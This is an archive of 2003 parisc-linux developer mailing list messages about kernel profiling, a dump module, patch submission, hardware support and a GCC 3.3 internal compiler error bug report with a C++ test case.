X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18301

In reference to a message from Randolph Chung, dated Apr 13:
> i ran 'readprofile' on a 2.5.67-pa3 UP kernel (a500, 64-bit) with
> several different workloads. here are the numbers if anyone is
> interested.

upon future reflection, these profiles are all wrong, because we 
really need to take a before and after measurement and diff them... 
<sigh> what was i thinking?

i'll remeasure them this weekend and post new results. meanwhile, i'm 
putting a diffprof script in cvs, since no one on #kernel seems to know
of a "standard" one, and the one i got from wli is in haskell, so 
i don't understand it, and it doesn't work on parisc :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dump module feed-back
Date: Fri, 18 Apr 2003 08:01:00 +0200
Organization: H.P
Lines: 12
Approved: news@gmane.org
Message-ID: <3E9F949C.4000704@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622400 24841 80.91.229.3 (22 Nov 2014 02:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 00:01:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55B244829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 00:01:03 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9BA9985C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 08:01:01 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id IAA13552
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 08:01:00 +0200 (METDST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18302

	Hi
Does any one try the dump module ? Any feed-back ?
Anybody needs help for setup ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
         SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com



From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dump module feed-back
Date: Fri, 18 Apr 2003 09:11:36 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3E9BF11E00000F9F@ocpmta7.freegates.net>
References: <3E9F949C.4000704@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622400 24842 80.91.229.3 (22 Nov 2014 02:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:20 +0000 (UTC)
To: "Bruno Vidal" <bruno_vidal@hpfrcu03.france.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 01:19:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC9054829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 01:19:09 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Apr 2003 09:11:36 +0200
In-Reply-To: <3E9F949C.4000704@admin.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18303

Bruno,

>
>	Hi
>Does any one try the dump module ? Any feed-back ?
>Anybody needs help for setup ?
>
Very sorry, I have not yet find time to test your patch.

My bad in fact, I spent much time for 2.4.21-pre pa patch which I submit
to Randolph to verify my job.

Next week I will out of office, but after this I will try it (just be more
patient)

Thanks for your undertand,
Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Fri, 18 Apr 2003 10:17:55 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3E9BF11E00000FFB@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622401 24844 80.91.229.3 (22 Nov 2014 02:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:21 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 02:18:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43D5A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 02:18:33 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Apr 2003 10:17:55 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18304

Willy and all,

>
>On Wed, Apr 16, 2003 at 06:44:11PM +0200, Joel Soete wrote:
>> Well I already create:
>> a chunck containing debian-configs (I call it 00_parisc_debian-configs.patch)
>> [about 140k] (would it be submited?)
>
>No, I don't think this should be submitted.  No other architecture does
this.
>
>> another chunk containing all parisc specific (named 01_parisc.patch)
containing
>> arch/parisc, include/asm-parisc and another noticed "parisc specific"
[about
>> 160k]
>
>sounds good.  be sure this applies to alan's/marcelo's tree as they've
>taken updates since 2.4.20 was released.
>
I already submitted a first draft to Randolph (as foreseen about 160Kb without
new's Grant ql driver) so that he could check it when he find some time.

In the meantime, I rebuild this with gcc-3.2 64bits which seems to run fine
on my b2k (ide cdrom, nfs, gcc,... seems ok). Just with this compiler I met
a pb to build the new module driver 3wxxx. So I will first re-install gcc-3.0
before all.

Thanks,
    Joel




---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Fri, 18 Apr 2003 11:40:58 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3E9BF11E00001169@ocpmta7.freegates.net>
References: <3E9BF11E00000FFB@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622401 24846 80.91.229.3 (22 Nov 2014 02:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:21 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 05:41:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 926D94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 05:41:43 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Apr 2003 13:40:58 +0200
In-Reply-To: <3E9BF11E00000FFB@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18305

>In the meantime, I rebuild this with gcc-3.2 64bits which seems to run fine
>on my b2k (ide cdrom, nfs, gcc,... seems ok). Just with this compiler I
met
>a pb to build the new module driver 3wxxx. So I will first re-install gcc-3.0
>before all.
>
A small update to just mention that there is no pb with gcc-hppa64-3.0.4.

Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PGX64 alias Rage xl ?
Date: Fri, 18 Apr 2003 17:43:01 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3E9BF11E000012CD@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622401 24851 80.91.229.3 (22 Nov 2014 02:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 09:43:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id D69804829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 09:43:03 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Apr 2003 17:43:01 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18306

Hi all,

I just recieve a free PGX64 pci card (Rage xl 215R5LASB41 chip) which I am
proposing to test on a b180.

Do I have some chance to make it works (well I already notice that I will
have to wait 2.4.21 to have ati fb support)?

All advises will be well come,

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.3 regression] [hppa] Segfault when building jade
Date: 19 Apr 2003 05:14:31 -0000
Lines: 71
Approved: news@gmane.org
Message-ID: <20030419051431.17554.qmail__6098.0086368092$1416622402$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622402 24852 80.91.229.3 (22 Nov 2014 02:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 23:14:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 729B94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 23:14:32 -0600 (MDT)
Original-Received: (qmail 17555 invoked by uid 48); 19 Apr 2003 05:14:31 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18307

>Category:       c++
>Synopsis:       [3.3 regression] [hppa] Segfault when building jade
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        gcc version 3.3 20030412 (Debian prerelease)
>Environment:
tausq@ios:~$ uname -a
Linux ios 2.5.67-pa4 #79 Wed Apr 16 20:16:49 PDT 2003 parisc64 unknown unknown GNU/Linux
tausq@ios:~$ g++ -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030412 (Debian prerelease)
>Description:
Building the code below gives:

tausq@ios:~/debian/jade-1.2.1/jade$ g++ -v -c bug.cxx
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030412 (Debian prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.3/cc1plus -quiet -v -D__GNUC__=3 -D__GNUC_MINOR__=3 -D__GNUC_PATCHLEVEL__=0 -D_GNU_SOURCE bug.cxx -D__GNUG__=3 -quiet -dumpbase bug.cxx -auxbase bug -version -o /tmp/ccExza7t.s
GNU C++ version 3.3 20030412 (Debian prerelease) (hppa-linux)
        compiled by GNU C version 3.3 20030412 (Debian prerelease).
GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
ignoring nonexistent directory "/usr/hppa-linux/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/include/c++/3.3
 /usr/include/c++/3.3/hppa-linux
 /usr/include/c++/3.3/backward
 /usr/local/include
 /usr/lib/gcc-lib/hppa-linux/3.3/include
 /usr/include
End of search list.
bug.cxx:14: internal compiler error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.

The code builds fine with g++-3.2.

This test case was extracted from the MifFOTBuilder.cxx file from the jade package.
>How-To-Repeat:
g++ -c bug.cxx

--------------8< bug.cxx 8<----------------
template<class T> class String { };

class MifDoc {
  public:
    struct T_string : public String<char> { };
    typedef T_string        T_tagstring;

    struct TagStream {
        enum TagStreamClass { tsTagStream, tsTextFlow, tsCell, tsPara } TagStreamClass;

        T_tagstring InitialPgfTag;
    };

    struct TextFlow : public TagStream { };
};

>Fix:

>Unformatted:


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c++/10438: [3.3 regression] [hppa] Segfault when building jade
Date: 19 Apr 2003 05:14:31 -0000
Lines: 80
Approved: news@gmane.org
Message-ID: <20030419051431.17554.qmail__26619.9195677929$1416622402$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622402 24855 80.91.229.3 (22 Nov 2014 02:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 18 23:16:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id B64A94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 23:16:02 -0600 (MDT)
Original-Received: (qmail 17720 invoked by uid 71); 19 Apr 2003 05:16:01 -0000
Resent-Date: 19 Apr 2003 05:16:01 -0000
Resent-Message-ID: <20030419051601.17719.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org,
	Randolph Chung <tausq@debian.org>
Original-Received: (qmail 17555 invoked by uid 48); 19 Apr 2003 05:14:31 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18308

>Number:         10438
>Category:       c++
>Synopsis:       [3.3 regression] [hppa] Segfault when building jade
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Arrival-Date:   Sat Apr 19 05:16:01 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        gcc version 3.3 20030412 (Debian prerelease)
>Organization:
>Environment:
tausq@ios:~$ uname -a
Linux ios 2.5.67-pa4 #79 Wed Apr 16 20:16:49 PDT 2003 parisc64 unknown unknown GNU/Linux
tausq@ios:~$ g++ -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030412 (Debian prerelease)
>Description:
Building the code below gives:

tausq@ios:~/debian/jade-1.2.1/jade$ g++ -v -c bug.cxx
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030412 (Debian prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.3/cc1plus -quiet -v -D__GNUC__=3 -D__GNUC_MINOR__=3 -D__GNUC_PATCHLEVEL__=0 -D_GNU_SOURCE bug.cxx -D__GNUG__=3 -quiet -dumpbase bug.cxx -auxbase bug -version -o /tmp/ccExza7t.s
GNU C++ version 3.3 20030412 (Debian prerelease) (hppa-linux)
        compiled by GNU C version 3.3 20030412 (Debian prerelease).
GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
ignoring nonexistent directory "/usr/hppa-linux/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/include/c++/3.3
 /usr/include/c++/3.3/hppa-linux
 /usr/include/c++/3.3/backward
 /usr/local/include
 /usr/lib/gcc-lib/hppa-linux/3.3/include
 /usr/include
End of search list.
bug.cxx:14: internal compiler error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.

The code builds fine with g++-3.2.

This test case was extracted from the MifFOTBuilder.cxx file from the jade package.
>How-To-Repeat:
g++ -c bug.cxx

--------------8< bug.cxx 8<----------------
template<class T> class String { };

class MifDoc {
  public:
    struct T_string : public String<char> { };
    typedef T_string        T_tagstring;

    struct TagStream {
        enum TagStreamClass { tsTagStream, tsTextFlow, tsCell, tsPara } TagStreamClass;

        T_tagstring InitialPgfTag;
    };

    struct TextFlow : public TagStream { };
};

>Fix:

>Release-Note:
>Audit-Trail:
>Unformatted:


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Giovanni Bajo" <giovannibajo@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10438: [3.3 regression] [hppa] Segfault when building jade
Date: Sat, 19 Apr 2003 17:05:11 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <29d101c30685$140bcac0$15472597__10933.6058413193$1416622402$gmane$org@bagio>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622402 24857 80.91.229.3 (22 Nov 2014 02:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:22 +0000 (UTC)
Cc: "Wolfgang Bangerth" <bangerth@ices.utexas.edu>
To: <gcc-gnats@gcc.gnu.org>, <parisc-linux@lists.parisc-linux.org>,
	<tausq@debian.org>, <gcc-bugs@gcc.gnu.org>,
